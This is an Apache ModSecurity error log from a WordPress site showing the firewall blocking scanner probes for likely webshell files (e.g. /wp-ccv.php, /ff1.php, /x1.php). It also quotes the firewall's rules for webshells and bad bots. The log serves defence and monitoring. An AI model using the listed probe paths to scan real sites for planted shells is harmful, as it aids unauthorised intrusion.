[Fri Apr 03 02:48:07.575300 2026] [:error] [pid 25035:tid 25442] [client 158.158.120.135:44555] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/index-20260330022921.php"] [unique_id "ac655xhR292toNOkLqHjOwAAAIA"]
[Fri Apr 03 02:48:08.084449 2026] [:error] [pid 25035:tid 25465] [client 158.158.120.135:43152] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "ac656BhR292toNOkLqHjQAAAAJc"]
[Fri Apr 03 02:48:08.563395 2026] [:error] [pid 25035:tid 25451] [client 158.158.120.135:57244] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "ac656BhR292toNOkLqHjRAAAAIk"]
[Fri Apr 03 02:48:09.053305 2026] [:error] [pid 25035:tid 25463] [client 158.158.120.135:27991] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "ac656RhR292toNOkLqHjSQAAAJU"]
[Fri Apr 03 02:48:09.553272 2026] [:error] [pid 25470:tid 25494] [client 158.158.120.135:60386] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Geforce.php"] [unique_id "ac656XhROcck6_9HYyhtYgAAANY"]
[Fri Apr 03 02:48:10.123978 2026] [:error] [pid 25010:tid 25369] [client 158.158.120.135:28030] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ac656o_KcjFQF5TuqTXhdgAAABQ"]
[Fri Apr 03 02:48:10.637489 2026] [:error] [pid 25035:tid 25456] [client 158.158.120.135:39134] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ac656hhR292toNOkLqHjTwAAAI4"]
[Fri Apr 03 02:48:11.164609 2026] [:error] [pid 25018:tid 25417] [client 158.158.120.135:60359] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ac6563upR6lXnAUzFGoeqgAAAEQ"]
[Fri Apr 03 02:48:11.670554 2026] [:error] [pid 25470:tid 25482] [client 158.158.120.135:28002] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ac6563hROcck6_9HYyhtbAAAAMo"]
[Fri Apr 03 02:48:12.392208 2026] [:error] [pid 25010:tid 25352] [client 158.158.120.135:47870] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "ac657I_KcjFQF5TuqTXhfgAAAAQ"]
[Fri Apr 03 02:48:12.915136 2026] [:error] [pid 25018:tid 25435] [client 158.158.120.135:39828] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "ac657HupR6lXnAUzFGoerAAAAFY"]
[Fri Apr 03 02:48:13.688724 2026] [:error] [pid 25035:tid 25463] [client 158.158.120.135:47829] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "ac657RhR292toNOkLqHjWwAAAJU"]
[Fri Apr 03 02:48:14.197176 2026] [:error] [pid 25470:tid 25491] [client 158.158.120.135:41137] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-ccv.php"] [unique_id "ac657nhROcck6_9HYyhtcgAAANM"]
[Fri Apr 03 02:48:14.702759 2026] [:error] [pid 25010:tid 25372] [client 158.158.120.135:41104] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luyuc.php"] [unique_id "ac657o_KcjFQF5TuqTXhhQAAABc"]
[Fri Apr 03 02:48:15.274684 2026] [:error] [pid 25035:tid 25465] [client 158.158.120.135:57272] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luyuc.php"] [unique_id "ac657xhR292toNOkLqHjXQAAAJc"]
[Fri Apr 03 02:48:15.762649 2026] [:error] [pid 25035:tid 25461] [client 158.158.120.135:39855] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luyuc.php"] [unique_id "ac657xhR292toNOkLqHjXgAAAJM"]
[Fri Apr 03 02:48:16.328861 2026] [:error] [pid 25010:tid 25358] [client 158.158.120.135:39139] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/luyuc.php"] [unique_id "ac658I_KcjFQF5TuqTXhigAAAAo"]
[Fri Apr 03 02:48:16.995894 2026] [:error] [pid 25010:tid 25371] [client 158.158.120.135:31193] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "ac658I_KcjFQF5TuqTXhjgAAABY"]
[Fri Apr 03 02:48:17.606361 2026] [:error] [pid 25470:tid 25480] [client 158.158.120.135:43951] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "ac658XhROcck6_9HYyhteAAAAMg"]
[Fri Apr 03 02:48:18.291944 2026] [:error] [pid 25470:tid 25478] [client 158.158.120.135:39151] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "ac658nhROcck6_9HYyhtfgAAAMY"]
[Fri Apr 03 02:48:19.373610 2026] [:error] [pid 25470:tid 25483] [client 158.158.120.135:41141] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "ac6583hROcck6_9HYyhtfwAAAMs"]
[Fri Apr 03 02:48:20.383847 2026] [:error] [pid 25035:tid 25451] [client 158.158.120.135:60440] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "ac659BhR292toNOkLqHjYgAAAIk"]
[Fri Apr 03 02:48:21.303641 2026] [:error] [pid 25035:tid 25450] [client 158.158.120.135:60360] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "ac659RhR292toNOkLqHjZAAAAIg"]
[Fri Apr 03 02:48:21.813149 2026] [:error] [pid 25470:tid 25492] [client 158.158.120.135:8703] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "ac659XhROcck6_9HYyhthAAAANQ"]
[Fri Apr 03 02:48:22.347403 2026] [:error] [pid 25470:tid 25479] [client 158.158.120.135:28012] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "ac659nhROcck6_9HYyhtiAAAAMc"]
[Fri Apr 03 05:24:53.341668 2026] [:error] [pid 22671:tid 22693] [client 43.173.1.69:48058] [client 43.173.1.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ac7epSRuUnMW7r8hvyZDfAAAAAI"]
[Fri Apr 03 14:35:29.386772 2026] [:error] [pid 40562:tid 40579] [client 43.159.128.247:33590] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ac9fsTfFMXuP9zvqCeoGkAAAAY4"]
[Fri Apr 03 17:11:47.481087 2026] [:error] [pid 33445:tid 33469] [client 45.131.195.81:64301] [client 45.131.195.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ac-EU1lRNZ0iDVmJWM2IlwAAABM"]
[Fri Apr 03 18:23:56.985048 2026] [:error] [pid 33446:tid 33481] [client 65.52.66.199:12315] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac-VPNg3dCqFYIIdw0r5xgAAAEQ"]
[Fri Apr 03 18:24:00.305081 2026] [:error] [pid 33447:tid 33507] [client 65.52.66.199:34579] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac-VQEgaPmDHz92j4lMgzgAAAIM"]
[Fri Apr 03 18:24:03.951968 2026] [:error] [pid 33446:tid 33483] [client 65.52.66.199:12973] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac-VQ9g3dCqFYIIdw0r52wAAAEY"]
[Fri Apr 03 18:24:07.490405 2026] [:error] [pid 33542:tid 33555] [client 65.52.66.199:12355] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac-VR3wb6uB1LaGtepbXHgAAAMo"]
[Fri Apr 03 18:24:10.216308 2026] [:error] [pid 33445:tid 33464] [client 65.52.66.199:15787] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac-VSllRNZ0iDVmJWM24XAAAAA4"]
[Fri Apr 03 18:24:13.549885 2026] [:error] [pid 40562:tid 40581] [client 65.52.66.199:31657] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac-VTTfFMXuP9zvqCepIpgAAAZA"]
[Fri Apr 03 18:24:17.522938 2026] [:error] [pid 35469:tid 35480] [client 65.52.66.199:17399] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac-VUaGvTIc8-wY3jUQVmwAAAQk"]
[Fri Apr 03 18:24:22.524904 2026] [:error] [pid 40562:tid 40568] [client 65.52.66.199:4354] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "ac-VVjfFMXuP9zvqCepIsAAAAYM"]
[Fri Apr 03 18:24:26.285451 2026] [:error] [pid 33446:tid 33482] [client 65.52.66.199:26462] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-VWtg3dCqFYIIdw0r6SAAAAEU"]
[Fri Apr 03 18:24:28.589995 2026] [:error] [pid 40562:tid 40586] [client 65.52.66.199:16072] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-VXDfFMXuP9zvqCepItwAAAZU"]
[Fri Apr 03 18:24:29.937505 2026] [:error] [pid 33542:tid 33560] [client 65.52.66.199:19441] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-VXXwb6uB1LaGtepbXKwAAAM8"]
[Fri Apr 03 18:24:32.258993 2026] [:error] [pid 33447:tid 33523] [client 65.52.66.199:35048] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ac-VYEgaPmDHz92j4lMg3QAAAJM"]
[Fri Apr 03 18:24:36.355700 2026] [:error] [pid 40533:tid 40542] [client 65.52.66.199:13005] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac-VZPbIAA8AViDmwsuNBQAAAUc"]
[Fri Apr 03 18:24:38.414706 2026] [:error] [pid 33542:tid 33567] [client 65.52.66.199:19440] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac-VZnwb6uB1LaGtepbXOQAAANY"]
[Fri Apr 03 18:24:39.731743 2026] [:error] [pid 33446:tid 33487] [client 65.52.66.199:13039] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac-VZ9g3dCqFYIIdw0r6cQAAAEo"]
[Fri Apr 03 18:24:44.449892 2026] [:error] [pid 33542:tid 33556] [client 65.52.66.199:23570] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "ac-VbHwb6uB1LaGtepbXQQAAAMs"]
[Fri Apr 03 18:24:48.953565 2026] [:error] [pid 40562:tid 40581] [client 65.52.66.199:13221] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "ac-VcDfFMXuP9zvqCepIygAAAZA"]
[Fri Apr 03 18:24:55.334483 2026] [:error] [pid 33446:tid 33482] [client 65.52.66.199:17350] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1.php"] [unique_id "ac-Vd9g3dCqFYIIdw0r6mgAAAEU"]
[Fri Apr 03 18:25:06.464405 2026] [:error] [pid 33446:tid 33490] [client 65.52.66.199:38397] [client 65.52.66.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/app.php"] [unique_id "ac-Vgtg3dCqFYIIdw0r6vQAAAE0"]
[Fri Apr 03 18:25:10.647482 2026] [:error] [pid 33446:tid 33496] [client 65.52.66.199:40310] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "ac-Vhtg3dCqFYIIdw0r6xAAAAFM"]
[Fri Apr 03 18:25:12.046008 2026] [:error] [pid 35469:tid 35476] [client 65.52.66.199:14756] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "ac-ViKGvTIc8-wY3jUQWCQAAAQU"]
[Fri Apr 03 18:25:12.976979 2026] [:error] [pid 35469:tid 35477] [client 65.52.66.199:12477] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "ac-ViKGvTIc8-wY3jUQWDgAAAQY"]
[Fri Apr 03 18:25:13.688964 2026] [:error] [pid 35469:tid 35490] [client 65.52.66.199:40221] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "ac-ViaGvTIc8-wY3jUQWEQAAARM"]
[Fri Apr 03 18:25:15.162814 2026] [:error] [pid 40533:tid 40551] [client 65.52.66.199:20943] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "ac-Vi_bIAA8AViDmwsuNHgAAAVA"]
[Fri Apr 03 18:25:18.216436 2026] [:error] [pid 35469:tid 35480] [client 65.52.66.199:36561] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "ac-VjqGvTIc8-wY3jUQWGwAAAQk"]
[Fri Apr 03 18:25:20.264838 2026] [:error] [pid 33445:tid 33452] [client 65.52.66.199:21469] [client 65.52.66.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0.php"] [unique_id "ac-VkFlRNZ0iDVmJWM24ygAAAAI"]
